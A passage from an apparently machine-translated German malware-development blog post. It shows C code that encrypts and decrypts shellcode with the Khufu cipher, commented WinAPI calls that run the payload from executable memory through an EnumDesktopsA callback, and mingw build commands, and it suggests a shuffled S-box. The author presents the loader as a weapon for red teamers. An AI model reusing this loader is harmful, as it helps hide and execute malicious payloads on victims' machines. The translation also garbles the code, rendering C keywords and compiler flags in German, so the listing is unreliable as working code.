int my_payload_len = Größe von(meine_Ladung);
int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
ohne Vorzeichen char gepolstert[pad_len];
memset(gepolstert, 0x90, pad_len);
memcpy(gepolstert, meine_Ladung, my_payload_len);
printf("Original-Shellcode: ");
für (int i = 0; i < my_payload_len; i++) {
printf("%02x ", meine_Ladung[i]);
}
printf("\n\n");
khufu_encrypt_shellcode(gepolstert, pad_len);
printf("verschlüsselter Shellcode: ");
für (int i = 0; i < pad_len; i++) {
printf("%02x ", gepolstert[i]);
}
printf("\n\n");
khufu_decrypt_shellcode(gepolstert, pad_len);
printf("entschlüsselter Shellcode: ");
für (int i = 0; i < my_payload_len; i++) {
printf("%02x ", gepolstert[i]);
}
printf("\n\n");
// LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// RtlMoveMemory(mem, padded, my_payload_len);
// EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return 0;
}
Wie üblich habe ich miau-miau
Messagebox-Nutzlast in diesem Code.
Demo 2Permalink
Kompilieren Sie es (kommentieren Sie WinAPI-Funktionen und Header):
gcc -o hack3 hack3.c
Zu Demonstrationszwecken lassen Sie es auf meinem Linux-Rechner laufen:
./hack3
Der Verschlüsselungsschlüssel ändert sich bei jeder Ausführung des Programms:
Demo 3Permalink
Unkommentierte WinAPI-Funktionen, Kompilieren für die Ausführung der Nutzlast:
x86_64-w64-mingw32-g++ hack4.c -o hack4.exe -I/usr/share/mingw-w64/include/ -s -Funktionsbereiche -fdata-Abschnitte -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fermissiv
Wie Sie sehen können, funktioniert alles perfekt =^..^=
Zu einem weiteren Trick zur Integration des Fisher-Yates-Shuffle in meine Khufu-Implementierung zur Erzeugung eines Zufalls S-Kasten
können wir die deterministische khufu_generate_sbox
Funktion mit einer neuen Implementierung, die eine gemischte S-Kasten
. Hier sehen Sie, wie wir unseren Code Schritt für Schritt ändern können:
- Implementieren Sie den Fisher-Yates-Algorithmus, um das sbox-Array zu mischen.
- Ersetzen Sie die deterministische
S-Box
Generierungslogik mit dem Fisher-Yates-Shuffle, um eine zufällige Permutation der Daten zu erzeugenS-Box
für jede Runde. - Verwenden Sie
srand(time(NULL))
oder einen anderen kryptographisch sicheren RNG, um die Zufälligkeit für Forschungszwecke zu gewährleisten.
letzte WortePermalink
Die S-Kasten
ist das Herzstück vieler Blockchiffren, da es die entscheidende Verwirrungskomponente darstellt, die für eine sichere Verschlüsselung erforderlich ist. Eine schlecht entworfene oder vorhersehbare S-Kasten
kann eine Chiffre anfällig für Angriffe machen, während eine starke S-Kasten
gewährleistet Robustheit und Widerstand gegen fortgeschrittene Kryptoanalyse.
Ich hoffe, dass dieser Beitrag für Malware-Forscher und C/C++-Programmierer nützlich ist, das Bewusstsein der Blue Teamer für diese interessante Shuffle-Technik schärft und dem Arsenal der Red Teamer eine neue Waffe hinzufügt.
Fisher-Yates_shuffle
Malware and cryptography 1
source code in githu